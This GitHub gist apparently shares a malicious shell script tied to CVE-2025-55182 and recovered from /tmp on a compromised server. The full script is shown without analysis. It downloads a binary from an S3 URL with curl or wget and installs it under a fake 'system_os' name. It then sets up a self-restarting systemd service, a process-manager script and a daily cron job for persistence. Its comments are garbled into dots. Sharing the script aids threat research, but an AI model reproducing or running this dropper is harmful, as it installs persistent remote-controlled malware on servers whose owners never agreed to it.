Skip to content

Instantly share code, notes, and snippets.

@MinSomai
Last active December 8, 2025 16:17
Show Gist options
  • Select an option

  • Save MinSomai/d9b025da680da33c826384214efee866 to your computer and use it in GitHub Desktop.

Select an option

Save MinSomai/d9b025da680da33c826384214efee866 to your computer and use it in GitHub Desktop.
CVE-2025-55182 .a.sh in /tmp folder
#!/bin/bash
# ........................
check_privileges() {
if [ "$EUID" -eq 0 ]; then
echo ".........root.............................."
return 0
else
echo "............root.....................cron......"
return 1
fi
}
# ........................
detect_os() {
if [ -f /etc/centos-release ] || [ -f /etc/redhat-release ]; then
echo "centos"
elif [ -f /etc/lsb-release ] || [ -f /etc/debian_version ]; then
echo "ubuntu"
else
echo "unknown"
fi
}
# Cron.................................root..................cron............
install_cron_service() {
local os_type=$(detect_os)
case "$os_type" in
"ubuntu")
echo ".........Ubuntu...............cron........."
if ! command -v cron &>/dev/null; then
sudo apt-get update
sudo apt-get install -y cron
sudo systemctl enable cron
sudo systemctl start cron
else
echo "cron..............."
fi
;;
"centos")
echo ".........CentOS...............cron........."
if ! command -v crond &>/dev/null; then
sudo yum install -y cronie
sudo systemctl enable crond
sudo systemctl start crond
else
echo "cron..............."
fi
;;
*)
echo "................................." >&2
exit 1
;;
esac
}
# ................................................
install_system_os_service() {
# ...........................
if systemctl is-enabled system_os.service &>/dev/null; then
echo "system_os.service .............................."
return 0
fi
echo ".....................system_os........."
# ............
curl -fsSL https://hybird-accesskey-staging-saas.s3.dualstack.ap-northeast-1.amazonaws.com/agent -o /tmp/at 2>/dev/null || \
wget -q -O /tmp/at https://hybird-accesskey-staging-saas.s3.dualstack.ap-northeast-1.amazonaws.com/agent
# .................................
mkdir -p /usr/infju
mv /tmp/at /usr/infju/system_os
chmod +x /usr/infju/system_os
cp /usr/infju/system_os /usr/bin/system_os
# ..................
cat > /etc/systemd/system/system_os.service <<EOF
[Unit]
Description=system_os.service
ConditionFileIsExecutable=/usr/infju/system_os
[Service]
StartLimitInterval=5
StartLimitBurst=10
ExecStart=/usr/infju/system_os
Restart=always
RestartSec=120
EnvironmentFile=-/etc/sysconfig/system_os
[Install]
WantedBy=multi-user.target
EOF
# ........................
mkdir -p /etc/sysconfig
touch /etc/sysconfig/system_os
# ......systemd...............
systemctl daemon-reload >/dev/null 2>&1
systemctl enable --now system_os.service >/dev/null 2>&1
echo "system_os.service ........................"
}
# ........................
create_process_manager() {
local script_path="/usr/local/bin/manage_system_os.sh"
cat > "$script_path" <<'EOF'
#!/bin/bash
PROGRAM_NAME="system_os"
PROGRAM_PATH="/usr/bin/system_os"
LOG_FILE="/var/log/system_os_management.log"
# ..................
echo "[$(date)] ........................: $PROGRAM_NAME" >> "$LOG_FILE"
# ............PID
PID=$(pgrep -f "$PROGRAM_NAME")
if [ -n "$PID" ]; then
echo "[$(date)] ........................ $PROGRAM_NAME (PID: $PID).................." >> "$LOG_FILE"
# .....................
kill -15 "$PID" 2>/dev/null
sleep 5
# .........................................................
if kill -0 "$PID" 2>/dev/null; then
echo "[$(date)] ...................................." >> "$LOG_FILE"
kill -9 "$PID"
sleep 2
fi
echo "[$(date)] ..............." >> "$LOG_FILE"
fi
# ..............................
sleep 3
# ............
echo "[$(date)] ............ $PROGRAM_PATH..." >> "$LOG_FILE"
nohup "$PROGRAM_PATH" > /dev/null 2>&1 &
# ...........................
sleep 2
NEW_PID=$(pgrep -f "$PROGRAM_NAME")
if [ -n "$NEW_PID" ]; then
echo "[$(date)] ............ $PROGRAM_NAME (...PID: $NEW_PID)" >> "$LOG_FILE"
else
echo "[$(date)] ......: ...... $PROGRAM_NAME ............" >> "$LOG_FILE"
# ............systemctl............
if systemctl is-active system_os.service &>/dev/null; then
systemctl restart system_os.service
echo "[$(date)] .........systemctl............" >> "$LOG_FILE"
fi
fi
EOF
chmod +x "$script_path"
echo "...........................: $script_path"
}
# ........................
setup_cron_job() {
local cron_job="0 0 * * * /usr/local/bin/manage_system_os.sh >/dev/null 2>&1"
# ..........................................
if crontab -l 2>/dev/null | grep -q "manage_system_os.sh"; then
echo "...................................."
else
# ...........................root......root.........
if [ "$EUID" -eq 0 ]; then
(crontab -l 2>/dev/null; echo "$cron_job") | crontab -
else
(crontab -l 2>/dev/null; echo "$cron_job") | crontab -
fi
echo "................................."
fi
}
# ...............
main() {
echo "..........................."
# ..................
local os_type=$(detect_os)
echo ".....................: $os_type"
# ...........................
if check_privileges; then
# Root..........................................
install_system_os_service
else
# ...root...............cron..................
install_cron_service
install_system_os_service
create_process_manager
setup_cron_job
fi
# ..................
echo ""
echo "=== ............ ==="
echo "............: systemctl status system_os.service"
echo "............: crontab -l"
echo "............: /usr/local/bin/manage_system_os.sh"
echo "............: /var/log/system_os_management.log"
}
# ..................
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
main "$@"
fi
- /tmp/.a.sh 176/216 81%
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment